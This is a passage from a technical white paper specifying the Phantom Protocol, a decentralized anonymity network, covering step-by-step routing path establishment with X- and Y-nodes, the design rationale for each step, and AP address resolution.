conditions will be discussed later). 7.4. The node matches the hash of the entire setup package array (item 5.10 in the setup package specification above) against a locally calculated hash of the array, and they should always be equal under normal circumstances (possible exception conditions will be discussed later). 7.5. The node interprets the flags (item 5.9 in the setup package specification above), thus seeing which role in the path building process it has been allotted. 7.6. The node makes a decision whether it is possible for it to take part in the path building process (under normal circumstances the answer should be yes, which will be assumed in this process summary, possible exception conditions will be discussed later). 7.7. The node removes its own setup package from the array. 7.8. The node generates faked setup packages and inserts them into the array, according to given instructions (item 5.7 in the setup package specification above). 7.9. The node connects to the given next node, first of all validating its identity by matching its expected communication certificate (item 5.6 in the setup package specification above) against the SSL certificate used by the responding node, immediately terminating the connection if the two don’t match. They should always be equal under normal circumstances (possible exception conditions will be discussed later). 7.10. The array, in its new state, is forwarded to the next node in the sequence (item 5.2 in the setup package specification above), along with the given ID for this connection (item 5.5 in the setup package specification above). 7.11. The next node that receives the array will repeat this procedure itself, and so on, until the array has reached the last (Y-)node in the sequence, which will have its next node set to be the original anonymized node (without for that matter knowing anything about this special circumstance itself), thus closing the circle. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 23(68) Figure 9. Routing path creation, step 7 8. If all goes well, the setup package array will traverse the entire sequence of nodes, and reach the anonymized node with a connection from the Y-node at the opposite end of the sequence, i.e. the end of the sequence that the setup package array was not sent into to begin with. Provided that the incoming data passes all authenticity controls (which will be discussed in more detail later), this completes the first round of the routing path setup procedure, and the anonymized node now knows that all the selected nodes accepted the routing path participation request and are standing by for the second round of the procedure, which begins with the next step. Figure 10. Routing path creation, first round completed 9. The anonymized node creates a new array of setup packages, quite similar to the first one, but with the following additions (in addition to a new random array order): 9.1. A first round success flag is now included in the package. 9.2. An updated set of seeds and instructions for manipulating the package array before forwarding it (equivalent to item 5.7 in the setup package specification above). • For (all) X-nodes only: 9.3. An updated IP address of the expected new previous node in the sequence (equivalent to item 5.1 in the setup package specification above). 9.4. An updated IP address/port for the next node in the sequence (equivalent to item 5.2 in the setup package specification above). White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 24(68) 9.5. A random 128-bit ID, associated with the connection from the new previous node (equivalent to item 5.4 in the setup package specification above). 9.6. A random 128-bit ID, associated with the connection to the new next node (equivalent to item 5.5 in the setup package specification above). • For the terminating X-node only, if the path is an entry path: 9.7. The AP address that the entry path belongs to. 9.8. A ready-made routing table entry, signed with the private key belonging to the routing certificate of the AP address owner (more info about this in the details later). 10. The anonymized node sends away the new array of setup packages in the same manner as the first one (and in the same direction too). 11. The following sub-procedure is then performed by each and every node in the ordered sequence, until the array again reaches the anonymized node: 11.1. The node locates, decrypts and verifies its own package in the received array, and checks the integrity of the entire array, using the same methods as in the first round. 11.2. The node now also validates the signature of the package, using the routing path construction certificate received in the package from the first round (item 5.3 in the setup package specification above). 11.3. The node confirms that the success flag is set in the package (item 9.1 in the setup package specification above). 11.4. The node modifies the package array in the same way it did in step 7.7 + 7.8 above, only now using the updated seeds and instructions (item 9.2 in the setup package specification above). • For Y-nodes only: 11.5. The Y-node forwards the array, in its new state, to the next node in the sequence. 11.6. The Y-node disconnects its forward connection, and has thus fully completed its participation in the routing path building operation, and discards all information related to it, forgets all about it, and is back in the exact state it was before it was contacted to participate in the routing path building operation to begin with. • For (all) X-nodes only: 11.7. The X-node checks to see if the updated expected IP address of the previous node (item 9.3 in the setup package specification above) is the same as the IP address of the existing previous node. Under normal circumstances it should never be the same, and in this case the X-node will halt and wait for an incoming connection from the expected IP address (item 9.3 in the setup package specification above) also having the right ID (item 9.5 in the setup package specification above). 11.8. When a matching incoming connection is established to the X-node (i.e. from the X- node before it), all the usual array transfer, verification and modification procedures are performed. 11.9. The X-node forwards the array, in its new state, to the next node in the sequence, still being connected from the first round. 11.10. The X-node then checks to see if the updated expected IP address and port number of the next node (item 9.4 in the setup package specification above) is the same as the IP address and port of the currently connected next node. Under normal circumstances it should never be the same, and in this case the X-node will disconnect its current forward connection, and attempt to create a new forward connection to the updated IP address and port for the stated next node (item 9.4 in the setup package specification above) also using the updated ID (item 9.6 in the White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 25(68) setup package specification above) for this connection. Several connection attempts might be needed at this point, since the target X-node might not have started listening for this incoming connection yet. 11.11. The X-node forwards the array, in its new state, to this new next node in the sequence too. 11.12. The intermediate Y-node between the two adjacent X-nodes has now been fully disconnected, and the final state of the routing path has been established between the current X-node and the one before it in the sequence. 11.13. The X-node now finishes the procedure by generating its unique set of stream encryption keys, according to the seeds and parameters given in the initial setup package (item 5.8 in the setup package specification above). This set of keys will be used at a later time, when establishing routing tunnels over the routing path. • For the terminating X-node only, if the path is an entry path: 11.14. The terminating X-node expects the previous (Y-)node to disconnect the connection immediately after having received the package array from it. If the expected IP address (item 9.3 in the setup package specification above) and the updated ID (item 9.5 in the setup package specification above) are empty (all zero), the terminating X- node also doesn’t expect any new incoming connection from a previous node, since it is located at the end of the routing path, and in this case only has the multiple Y- nodes in front of it (this will only happen in half the cases, i.e. where the randomly chosen beginning of the node sequence is the one with the multiple Y-nodes). 11.15. If the created routing path is an entry path, after having done everything else that a normal intermediate X-node is supposed to do, the terminating X-node proceeds to submit the new pre-signed routing table entry (item 9.8 in the setup package specification above) for the current routing path to the AP address-indexed routing table in the global network database, for the associated AP address (item 9.7 in the setup package specification above). The entry path is now officially announced, and any user on the anonymous network can look it up in the global network database, and use it to establish an anonymized connection (i.e. anonymized for the node that created the routing path) to the anonymized node. 11.16. If the created routing path is not an entry path, it will skip the previous step (11.15), and will instead be waiting for requests for outgoing connections from the anonymized node that owns the routing path (thus being located at its other end). This will be discussed further in the section about establishment of routing tunnels below. Figure 11. Routing path creation, step 11 White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 26(68) 12. If all goes well, the second setup package array will traverse the entire sequence of nodes, just like the first one, and reach the anonymized node with a connection from the Y-node (and subsequently its preceding X-node) at the end of the sequence, where it will be checked for validity. This completes the second half of the routing path setup procedure, and the routing path is now successfully and securely set up, ready for immediate use. Figure 12. Routing path creation, step 12 At this point, we can clearly recognize the exact routing path structure that has been exemplified previously in this paper, and the process is complete. Figure 13. The completed routing path, recognizable from previously in this paper We will now proceed with further explanation of some of the details in the process that has just been outlined, why things are done as they are, and in some cases in even more detail how they are done. After that, we will move on to explaining how routing tunnels (both of the entry and exit kind) are established over an existing routing path, and subsequently used for secure and anonymous communication. = Anonymized network node = Selected intermediary network node = Selected terminating intermediary network node White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 27(68) 7.1.2. Secure Establishment of Routing Paths – Low-Level Details In this section, all the steps from the previous section (i.e. the “low level overview”) will be repeated again, in grey and without the figures, and comments will be added (in normal black) to further explain the design decisions behind each step, where necessary. 1. The anonymized node (to be) selects a random set (with some exceptions to be discussed later) of x nodes from the IP address/port table of the network database, and fetches all their stored info, like e.g. their path building certificate (containing the public part of an asymmetrical encryption key-pair) and their communication certificate (containing a valid SSL certificate). These selected nodes will be called X-nodes from this point on, and are the ones that will constitute the final routing path. First of all, about this “random set” of selected nodes, the only real requirement for randomness is that the anonymized node can be confident that no other node, or reasonably large set of nodes, has been able to influence or bias the contents of this set of nodes. Once this has been ascertained (by means of being able to trust the randomness of the returned results from the network database in this aspect, which will be discussed in more detail later), the anonymized node itself can actually make the selected set of nodes even more secure, by applying some extra restrictions to the nodes in the set. For example, by analyzing the IP addresses in the “initial” random set acquired from the network database, it can make sure that none of them are in the same or adjacent A, B or C nets, registered to the same ISP, or even that not too many of them are located in the same country (by using geolocation). These restrictions would reduce, to an even lower level than the initially already low one of a fully random selection, the risk of the selected set of nodes being controlled, or in any way monitored, by the same party. Taking it even one step further, anonymized nodes could have the option to keep a list of “trusted nodes”, i.e. nodes that they know are not controlled by an attacker, e.g. nodes owned by their friends etc. If just one such node is injected into each selected set of nodes, it can be completely ascertained that not all the nodes in the selected set are controlled by the same attacker. Due to how the protocol is designed, this is all that is needed to guarantee that no other node in the selected set will be able to determine the IP address of the anonymized node, even if all the other nodes were controlled by the same attacker. Even without these trusted nodes, however, the probability of an attacker controlling every node in a randomly selected set with the above restrictions is extremely low, and decreases for each new node that joins the anonymous network. 2. The anonymized node selects a similarly random set of y nodes from the IP address/port table of the network database, and fetches all their stored info, like e.g. their path building certificate, containing the public part of an asymmetrical encryption key-pair and their communication certificate (containing a valid SSL certificate). These selected nodes will be called Y-nodes from this point on. For these Y-nodes, the same criteria and possibilities for selection of the nodes apply as for the X-nodes in step 1 above. 3. The anonymized node chooses, arbitrarily, an ordered sequence made up of all the X-nodes and Y-nodes, being constructed in a way that: • No two X-nodes are adjacent to each other. • A Y-node is located in one end of the sequence. • A number of Y-nodes equal to the total number of X-nodes minus one (although always at least one), are located adjacent to each other in the other end of the sequence. • One end of the sequence is chosen at random to be the beginning of the sequence. This order should be chosen in a securely random way, since if there is any way to influence or predict the order in which the nodes will be placed, an attacker could possibly use this knowledge to increase the probability of a successful attack (e.g. by making sure that its nodes are always White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 28(68) placed first and last in all routing paths, which would in turn increase the probability of successful attacks involving massive traffic pattern correlation). As for the underlying reasons for arranging the nodes in this manner, some further background information and explanation is required. First of all, it needs to be understood that our main objective with these routing paths to begin with is to separate the distance between the knowledge of the IP address of the anonymized node and the knowledge of the AP address information connected to it. The concept of routing paths accomplishes this by placing the IP address knowledge in one end of a sequence of nodes, and the AP address knowledge at the other end of the same sequence of nodes (i.e. the routing path), while at the same time not allowing or making available any method for these nodes to forward any intelligible information to any other node in the sequence other than the adjacent ones (which can of course never be prevented, since adjacent nodes know the IP addresses of each other, and can thus easily always establish out-of-band communication if they were so inclined). Thus, for each intermediate node between the ends of the sequence, the probability decreases for the situation to arise where all the nodes in the sequence know each other, and thus will be able to know each other’s identity (IP address) and be able to communicate out-of- band in order to aggregate their individual knowledge to form the complete set of knowledge, i.e. the connection between the IP address information and the AP address information. Second of all, the reason for the “circular” communication pattern during establishment of routing paths needs to be understood. It arises from the simple fact that it enables the use of pure one- way communication between all intermediary nodes (i.e. the X and Y-nodes) during the routing path establishment process, which has two substantial primary advantages. The first is that there is an extreme increase in complexity when going from one-way communication to two way communication in any protocol. The many cases and special cases arising from increased complexity can, and will always, be exploited by attackers for their own purposes. In a protocol such as this, where it is critical that not even a single bit of information can possibly be communicated between non-adjacent nodes in the path, such an increase in complexity would be nearly fatal, and has, necessarily, been avoided at all costs. The second advantage of the circular design is that even if an attacker should somehow find a weakness in the design of the protocol, thus being able to sneak in extra data to be communicated to other, non-adjacent, nodes in the routing path, this becomes theoretically impossible without first having this data passing through the anonymized node that owns the routing path. This node will have much greater possibilities for detecting such data, and due to the current design of the protocol, it never forwards any received data in the first place. Having established these basic design criteria for the reasons stated, we can now much better explain and motivate arranging the nodes as instructed in this step. The reason for having "a number of Y-nodes equal to the total number of X-nodes minus one, located adjacent to each other in one end of the sequence", is because we don’t want, at any point, to have a shorter distance between the anonymized node and the terminating X-node at the other end of the intended routing path than we will have in the final path (where “distance” between two nodes denotes the number of randomly selected intermediary nodes between them). These Y-nodes thus work as a temporary “buffer” to maintain this distance during the creation process of the routing path. The “total number of X-nodes minus one” will always be equal to the distance between the anonymized node and the terminating X-node in the fully established routing path, and thus this number of Y-nodes will assure that the distance, and thus the security, selected by the anonymous node to begin with, will also be maintained throughout the entire setup process of the routing path. The reason for having “no two X-nodes adjacent to each other” and “a Y-node located in one end of the sequence” (where the other end has the multiple Y-nodes discussed above) is that no X- node should be able to know which nodes will be adjacent to it in the final routing path, and thus be able to influence, interfere or otherwise behave any differently during the path setup process based on such information (an X-node controlled by an attacker would always want to have other White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 29(68) X-nodes controlled by the same attacker adjacent to it, in order to achieve a fully compromised path). Finally, the reason for “choosing one end of the sequence at random to be the beginning of the sequence” is that the direction in which the one-way communication occurs during the setup of the path should have no connection to the directions in which the anonymized node and the terminating node at the ends of the path are located. That is, the intermediary nodes should not be able to tell which direction of the path is which. Combined with the fact that a routing path can be either an entry path, an exit path, or both, the intermediary nodes will never be able to derive at which end of the path the anonymized node is located, not even by taking note of the direction in which tunnels are established over the path once it is fully setup. 4. The anonymized node generates a temporary asymmetrical cryptographic key-pair, to be used only during the setup procedure of this specific routing path. The private key of this key-pair will be called the routing path construction key, and the public key of this key-pair will be called the routing path construction certificate, from now on. If the same routing path construction key-pair would be used for multiple routing path setup procedures, i.e. if it would not be regenerated each time, it could be used by an attacker, who has had his nodes selected for inclusion in more than one of them, to correlate different routing paths created by the same anonymized node. In such case, if ever only one routing path of the anonymized node were to be compromised, no matter how unlikely, the routing path construction key-pair could be used to bind all previous semi-compromised routing paths to this same anonymized node, which would be a completely unnecessary weakness. 5. The anonymized node prepares a special unique “setup package” for each individual X-node and Y-node, being asymmetrically encrypted with the public key of the individual recipient, symmetrically encrypted with the 128-bit ID of its incoming connection, and signed with the routing path construction key from the previous step. The package contains the following (just as with all other steps, this will be explained in more detail in the next section): 5.1. IP address of the expected previous node in the sequence. This will be used by each node in the routing path to verify that the node contacting them is the one intended. 5.2. IP address and port number of the next node in the sequence. This will be used by each node in the routing path to pass on the package array after having completed its own processing. 5.3. The routing path construction certificate, generated by the anonymized node in the previous step. This will be used by each node in the routing path to verify the authenticity of the package array in the second round of the routing path creation process. 5.4. A random 128-bit ID, associated with the connection from the previous node. This will be used by each node in the routing path to verify that the node contacting them is the one intended. 5.5. A random 128-bit ID, associated with the connection to the next node. This will be used by each node in the routing path to authenticate themselves to the next node in the routing path. 5.6. The communication certificate of the next and previous node. These SSL certificates will be used to establish two-way authenticated and securely encrypted communication between all nodes in the routing path. 5.7. A constant number of tuples containing a 128-bit seed, a size, an index and flags for creation of dummy setup packages (more info about this in the details later). White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 30(68) These will be used by each node in the routing path to generate dummy packages to be inserted into the package array before it is passed on to the next node. Theses dummy packages, in turn, exist in part to prevent the possibility of any node in the routing path being able to determine how many nodes make up the path in total, and how many nodes that remain beyond it in the path before the anonymized node is reached, and in part to counteract the special case vulnerability of the first Y-node in the routing path creation sequence trying to provide an entirely fake routing path back to the anonymized node (despite not ever being able to know if its preceding node is really the anonymized node or not, but still “taking a chance”). 5.8. A constant number of 128-bit seeds for stream encryption key generation + the number of keys to be generated. These seeds both guarantee the security of the stream encryption keys used in all tunnels being created over the routing path, and also guarantee that the anonymized node will be able to recover these keys for all such tunnels. 5.9. A collection of flags, telling if the node is an intermediate X-node, a terminating X- node or a Y-node, among other things. 5.10. A secure cryptographic hash of the entire (encrypted) setup package array (see the next step), in the expected state upon reception from the previous node. This hash makes sure that no node can add or manipulate data inside the package array as it is being sent between the different nodes. If such a thing was possible, it would be an excellent way for adversarial nodes to communicate with other conspiring nodes throughout the routing path. 5.11. A secure cryptographic hash of the (decrypted) contents of the current setup package. This is the hash that makes it possible for each node, once the package array arrives, to find its own package in the array. The receiving node attempts to decrypt each package in the array, and tests to see if the decryption succeeded by checking whether this hash matches the decrypted package contents. The various contents of this package will be explained in more detail in the steps where they are individually used. The most important thing to note here is that all these items will be securely communicated to the individual recipients, in later steps. This step can principally be seen as a summary of the contents. 6. The anonymized node arranges all the encrypted setup packages from the previous step in an array, in a completely randomized order, and sends off the array to the node at the beginning of the sequence, along with the pre-generated ID for this connection (see the contents of the setup package above). Secure randomness in the ordering of the packages in the array is important to insure that no information about the order of the different nodes in the path can be derived from the array, or even from each individual node’s own position in the array. 7. The following sub-procedure is then performed by the receiving Y-node, and will also be repeated by each and every node in the ordered sequence, until the array again reaches the anonymized node: 7.1. The node iterates through each encrypted package in the array, attempting to first symmetrically decrypt it using the connection ID stated by the previous node for the incoming connection, and then asymmetrically decrypt it with its own private key. It will be able to know when it has found the right one by getting a correct hash (item 5.11 in the setup package specification above). The initial symmetric decryption of each package is intended to prevent the possible weakness which would occur if an attacker could share one common asymmetrical key (or a small set of such keys) between many nodes being injected into the network, and subsequently be able to detect the presence of any of these other nodes in any routing path where at least one of the White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 31(68) attacker’s other nodes has also been selected for participation, simply by seeing the initial array and decrypting multiple packages of it. 7.2. The node stores the contents of its own successfully decrypted package locally. 7.3. The node authenticates the previous node (i.e. the one it received the package array from), by matching both the expected IP address (item 5.1 in the setup package specification above) against its actual IP address, and the expected ID for the incoming connection (item 5.4 in the setup package specification above) against the ID that was actually stated by the previous node along with the setup package array. Both things should always match under normal circumstances (possible exception conditions will be discussed later). In the event that this test fails, it can usually only mean that some node in the routing path has tried to tamper with the process. In all such situations, the safest thing to do is to just stop and silently let the incoming connection time out, permitting the anonymized node itself to be able to respond to this timeout. The recommended and most secure course of action for the anonymized node, when getting such a routing path creation timeout, is to completely discard the current routing path, and start the process over with an entirely new set of nodes. As mentioned previously, any attempt to allow nodes to communicate (e.g. error information) backwards through the routing path tremendously increases the complexity, and, with it, the possibility for many different kinds of attacks that would substantially reduce the security of the protocol and its routing paths. 7.4. The node matches the hash of the entire setup package array (item 5.10 in the setup package specification above) against a locally calculated hash of the array, and they should always be equal under normal circumstances (possible exception conditions will be discussed later). This step is important in order to prevent any piggy-backing of information with the array, which could otherwise be used by nodes controlled by an attacker to convey information to other conspiring nodes located after it in the setup procedure path (most likely its own IP address, for the enabling of subsequent arbitrary out-of-channel communication). 7.5. The node interprets the flags (item 5.9 in the setup package specification above), thus seeing which role in the path building process it has been allotted. 7.6. The node makes a decision whether it is possible for it to take part in the path building process (under normal circumstances the answer should be yes, which will be assumed in this process summary, possible exception conditions will be discussed later). The only legitimate reason for “saying no” would probably be if the node in question is too heavily loaded already. Otherwise nodes could easily be DoS attacked by opening too many paths through them. On the other hand, a built-in option in the protocol to “say no” could encourage “cheat clients”, who don’t share their bandwidth, but still use others’ bandwidth. Then again, clients that really wanted to cheat could, of course, just disconnect any such requests completely, so leaving out the option wouldn’t really be an efficient solution either. Either way, the “cheat client” scenario is something of a dilemma, and should be considered further. 7.7. The node removes its own setup package from the array. 7.8. The node generates faked setup packages and inserts them into the array, according to given instructions (item 5.7 in the setup package specification above). The reason to have nodes create and insert fake packages into the array, is first that no node should be able to derive any information about either its relative position in the array, based on how many packages are left in the array at the time it reaches the node in question, or the total size of the routing path. Second, it also counteracts the special case vulnerability of the first Y- node in the routing path creation sequence trying to provide an entirely fake routing path back to the anonymized node (despite not ever being able to know if its preceding node is really the anonymized node or not, but still “taking a chance”). White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 32(68) 7.9. The node connects to the given next node, first of all validating its identity by matching its expected communication certificate (item 5.6 in the setup package specification above) against the SSL certificate used by the responding node, immediately terminating the connection if the two don’t match. They should always be equal under normal circumstances (possible exception conditions will be discussed later). The matching of certificates makes certain that no other computer has acquired the IP address of the intended node. This could happen for example with home broadband users that share the same IP address pool through dynamic address allocation (DHCP). 7.10. The array, in its new state, is forwarded to the next node in the sequence (item 5.2 in the setup package specification above), along with the given ID for this connection (item 5.5 in the setup package specification above). 7.11. The next node that receives the array will repeat this procedure itself, and so on, until the array has reached the last (Y-)node in the sequence, which will have its next node set to be the original anonymized node (without for that matter knowing anything about this special circumstance itself), thus closing the circle. 8. If all goes well, the setup package array will traverse the entire sequence of nodes, and reach the anonymized node with a connection from the Y-node at the opposite end of the sequence, i.e. the end of the sequence that the setup package array was not sent into to begin with. Provided that the incoming data passes all authenticity controls (which will be discussed in more detail later), this completes the first round of the routing path setup procedure, and the anonymized node now knows that all the selected nodes accepted the routing path participation request and are standing by for the second round of the procedure, which begins with the next step. The anonymized node can easily confirm that no additional data has been injected into the array, and also that no data is missing, based on its total knowledge of what to expect and the checksums. The simple fact that the array came back, and from the correct IP address at that, is itself a cryptographic proof that it traversed the intended path, and only the intended path, since unauthorized access to the full set of information that would be required to fake this could only be acquired by breaking the strong encryption protecting the setup package array. 9. The anonymized node creates a new array of setup packages, quite similar to the first one, but with the following additions (in addition to a new random array order): 9.1. A first round success flag is now included in the package. 9.2. An updated set of seeds and instructions for manipulating the package array before forwarding it (equivalent to item 5.7 in the setup package specification above). • For (all) X-nodes only: 9.3. An updated IP address of the expected new previous node in the sequence (equivalent to item 5.1 in the setup package specification above). 9.4. An updated IP address/port for the next node in the sequence (equivalent to item 5.2 in the setup package specification above). 9.5. A random 128-bit ID, associated with the connection from the new previous node (equivalent to item 5.4 in the setup package specification above). 9.6. A random 128-bit ID, associated with the connection to the new next node (equivalent to item 5.5 in the setup package specification above). • For the terminating X-node only, if the path is an entry path: 9.7. The AP address that the entry path belongs to. 9.8. A ready-made routing table entry, signed with the private key belonging to the routing certificate of the AP address owner (more info about this in the details later). White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 33(68) The various contents of this package will be explained in each individual step where they are used. The important thing to note at this point is that all these items will be securely communicated to the individual recipients, in later steps. This step can principally be seen as a summary of the contents. 10. The anonymized node sends away the new array of setup packages in the same manner as the first one (and in the same direction too). 11. The following sub-procedure is then performed by each and every node in the ordered sequence, until the array again reaches the anonymized node: 11.1. The node locates, decrypts and verifies its own package in the received array, and checks the integrity of the entire array, using the same methods as in the first round. 11.2. The node now also validates the signature of the package, using the routing path construction certificate received in the package from the first round (item 5.3 in the setup package specification above). 11.3. The node confirms that the success flag is set in the package (item 9.1 in the setup package specification above). 11.4. The node modifies the package array in the same way it did in step 7.7 + 7.8 above, only now using the updated seeds and instructions (item 9.2 in the setup package specification above). • For Y-nodes only: 11.5. The Y-node forwards the array, in its new state, to the next node in the sequence. 11.6. The Y-node disconnects its forward connection, and has thus fully completed its participation in the routing path building operation, and discards all information related to it, forgets all about it, and is back in the exact state it was before it was contacted to participate in the routing path building operation to begin with. • For (all) X-nodes only: 11.7. The X-node checks to see if the updated expected IP address of the previous node (item 9.3 in the setup package specification above) is the same as the IP address of the existing previous node. Under normal circumstances it should never be the same, and in this case the X-node will halt and wait for an incoming connection from the expected IP address (item 9.3 in the setup package specification above) also having the right ID (item 9.5 in the setup package specification above). 11.8. When a matching incoming connection is established to the X-node (i.e. from the X- node before it), all the usual array transfer, verification and modification procedures are performed. 11.9. The X-node forwards the array, in its new state, to the next node in the sequence, still being connected from the first round. 11.10. The X-node then checks to see if the updated expected IP address and port number of the next node (item 9.4 in the setup package specification above) is the same as the IP address and port of the currently connected next node. Under normal circumstances it should never be the same, and in this case the X-node will disconnect its current forward connection, and attempt to create a new forward connection to the updated IP address and port for the stated next node (item 9.4 in the setup package specification above) also using the updated ID (item 9.6 in the setup package specification above) for this connection. Several connection attempts might be needed at this point, since the target X-node might not have started listening for this incoming connection yet. 11.11. The X-node forwards the array, in its new state, to this new next node in the sequence too. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 34(68) 11.12. The intermediate Y-node between the two adjacent X-nodes has now been fully disconnected, and the final state of the routing path has been established between the current X-node and the one before it in the sequence. 11.13. The X-node now finishes the procedure by generating its unique set of stream encryption keys, according to the seeds and parameters given in the initial setup package (item 5.8 in the setup package specification above). This set of keys will be used at a later time, when establishing routing tunnels over the routing path. • For the terminating X-node only, if the path is an entry path: 11.14. The terminating X-node expects the previous (Y-)node to disconnect the connection immediately after having received the package array from it. If the expected IP address (item 9.3 in the setup package specification above) and the updated ID (item 9.5 in the setup package specification above) are empty (all zero), the terminating X- node also doesn’t expect any new incoming connection from a previous node, since it is located at the end of the routing path, and in this case only has the multiple Y- nodes in front of it (this will only happen in half the cases, i.e. where the randomly chosen beginning of the node sequence is the one with the multiple Y-nodes). 11.15. If the created routing path is an entry path, after having done everything else that a normal intermediate X-node is supposed to do, the terminating X-node proceeds to submit the new pre-signed routing table entry (item 9.8 in the setup package specification above) for the current routing path to the AP address-indexed routing table in the global network database, for the associated AP address (item 9.7 in the setup package specification above). The entry path is now officially announced, and any user on the anonymous network can look it up in the global network database, and use it to establish an anonymized connection (i.e. anonymized for the node that created the routing path) to the anonymized node. The global network database will only allow updates of pre-existing routing table entries if the update is signed with the same key as the pre-existing entry, i.e. the AP address specific routing key of the anonymized node that registered the AP address to begin with. This prevents DoS- attacks in the form of injection of bad routing information from third-party sources into the global network database. 11.16. If the created routing path is not an entry path, it will skip the previous step (11.15), and will instead be waiting for requests for outgoing connections from the anonymized node that owns the routing path (thus being located at its other end). This will be discussed further in the section about establishment of routing tunnels below. 12. If all goes well, the second setup package array will traverse the entire sequence of nodes, just like the first one, and reach the anonymized node with a connection from the Y-node (and subsequently its preceding X-node) at the end of the sequence, where it will be checked for validity. This completes the second half of the routing path setup procedure, and the routing path is now successfully and securely set up, ready for immediate use. This concludes the low-level details for the secure establishment of routing paths. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 35(68) 7.2. Routing Tunnels As mentioned previously, the establishment of routing tunnels over pre-existing routing paths is a key process of the protocol, and an important part in providing its anonymity. As can be suspected, the exact procedure for setting up such routing tunnels in a secure way is of utmost importance for keeping the system theoretically secure. In this section, this procedure will be described in more detail. We will begin with an explanation of the process used for resolving AP addresses, which is the basis for creating and connecting routing tunnels to begin with. We will then move on to a shorter step-by-step description of the tunnel setup procedure, after which we will finally describe and explain each of the steps, and their underlying purposes and reasons, more thoroughly. 7.2.1. AP Address Resolution Whenever a node in the anonymous network wants to contact another node in the anonymous network, this is accomplished through the use of AP addresses, as explained previously. All nodes that accept incoming connections on the AP address level (which many nodes may indeed not do at all) have an AP address registered to them in the network database. The previous description of how routing tunnels are created and established explains how AP addresses for nodes are registered in the global network database. This section will fill in the few remaining details regarding how these AP addresses are used to get in touch with the node that originally registered them, or to be more precise, the node that owns the routing paths for which the AP address is registered. This explanation will not, however, deal with the related lower-level database implementation issues, but rather focus only on the process up to the point of the database abstraction layer. Lower-level database implementation details will instead rather be dealt with in the “Network Database” section below. So, these limitations having been defined, how then does the AP address resolution work? It is actually extremely simple. Let’s start by taking a look at a figure representing a typical situation in the anonymous network, an anonymized node () wanting to connect to a non-anonymized node (). As shown previously, it will look as follows: Figure 14. Anonymized node () wanting to connect to a non-anonymized node () As can be seen in the figure, node has its own routing path, in this case an exit path, which it wants to use to contact the node anonymously. The details of setting up the entire connection (i.e. the routing tunnel) over the routing path will be discussed in the following section, but the = End-point node = Intermediary routing path node = Terminating routing path node (exit node) = Non-involved network node White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 36(68) important consideration in this case is that it will be the responsibility of the terminating node of the exit path (i.e. the exit node) to resolve the AP address of (after having had this AP address securely communicated to it through the tunnel from as part of the routing tunnel setup process), and then establish a connection to . Once the target AP address of the desired outbound connection has been securely communicated from to the exit node of its routing path (a process which, as mentioned above, will be explained in the following section, regarding secure establishment of routing tunnels), all that needs to be done by the exit node is to query the global network database about the IP address of a current entry node for the requested AP address. In the situation at hand, where the node has no interest in being anonymized, it acts as its own entry node, and thus, the IP address of is registered for the AP address of in the network database. This IP address is returned from the database, to the inquiring exit node in the routing path of , which in turn connects to this IP address and requests a connection to be opened (actually, still without being able to directly tell if the IP address belongs to or to the entry node of one of its entry routing paths). Very straight forward in the end, right? Just to avoid any uncertainties, we will also include examples for the other typical situations of AP address resolution in the anonymous network, starting out with the inverse situation of the one above, i.e. a non-anonymized node () wanting to connect to an anonymized node (): Figure 15. Non-anonymized node () wanting to connect to an anonymized node () As can be seen in the figure, node is operating on its own, thus not being anonymized, while node has its own routing path, in this case an entry path, which it uses to receive connections from other nodes (in this case ) anonymously. In this situation, acts as its own exit node, and thus has the responsibility to resolve the AP address of and then establish a connection to (any valid entry node of) . So, again, all that needs to do is to query the global network database for the IP address of a current valid entry node for the target AP address (i.e. the AP address of in this example). Once the network database returns such an IP address as a result of this inquiry, connects to this IP address (in this case the entry node of the routing path belonging to ), and requests a connection to be opened (likewise here, without being able to directly tell if the IP address belongs to itself or to the entry node of one of its entry routing paths). It is then the responsibility of the contacted entry node to forward this request and establish a routing tunnel inside the routing path leading to (a process which, as mentioned above, will be explained in the section below, regarding secure establishment of routing tunnels). = End-point node = Intermediary routing path node = Terminating routing path node (entry node) = Non-involved network node White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 37(68) Starting to get a grip on the resolution and connection process now? Let’s just include one final example of the third and last typical connection situation, i.e. an anonymized node () wanting to connect to another anonymized node (): Figure 16. Anonymized node () wanting to connect to another anonymized node () As can be seen in the figure, node has its own routing path, in this case an exit path, which it wants to use to contact the node anonymously. Node also has its own routing path, in this case an entry path, which it uses to receive connections from other nodes (in this case ) anonymously. Just as in the previous examples, it will be the responsibility of the terminating node of the exit path (i.e. the exit node) of to resolve the AP address of , and then establish a connection to (any valid entry node of) . Once the target AP address of the desired outbound connection has been securely communicated from to the exit node of its routing path, all that remains to be done by the exit node is to query the global network database about the IP address of a current entry node for the requested AP address. Once gets hold of such an IP address from the network database, it connects to this IP address (in this case the entry node of the routing path belonging to ), and requests a connection to be opened (likewise here, without being able to directly tell if the IP address belongs to itself or to the entry node of one of its entry routing paths). It is then the responsibility of the contacted entry 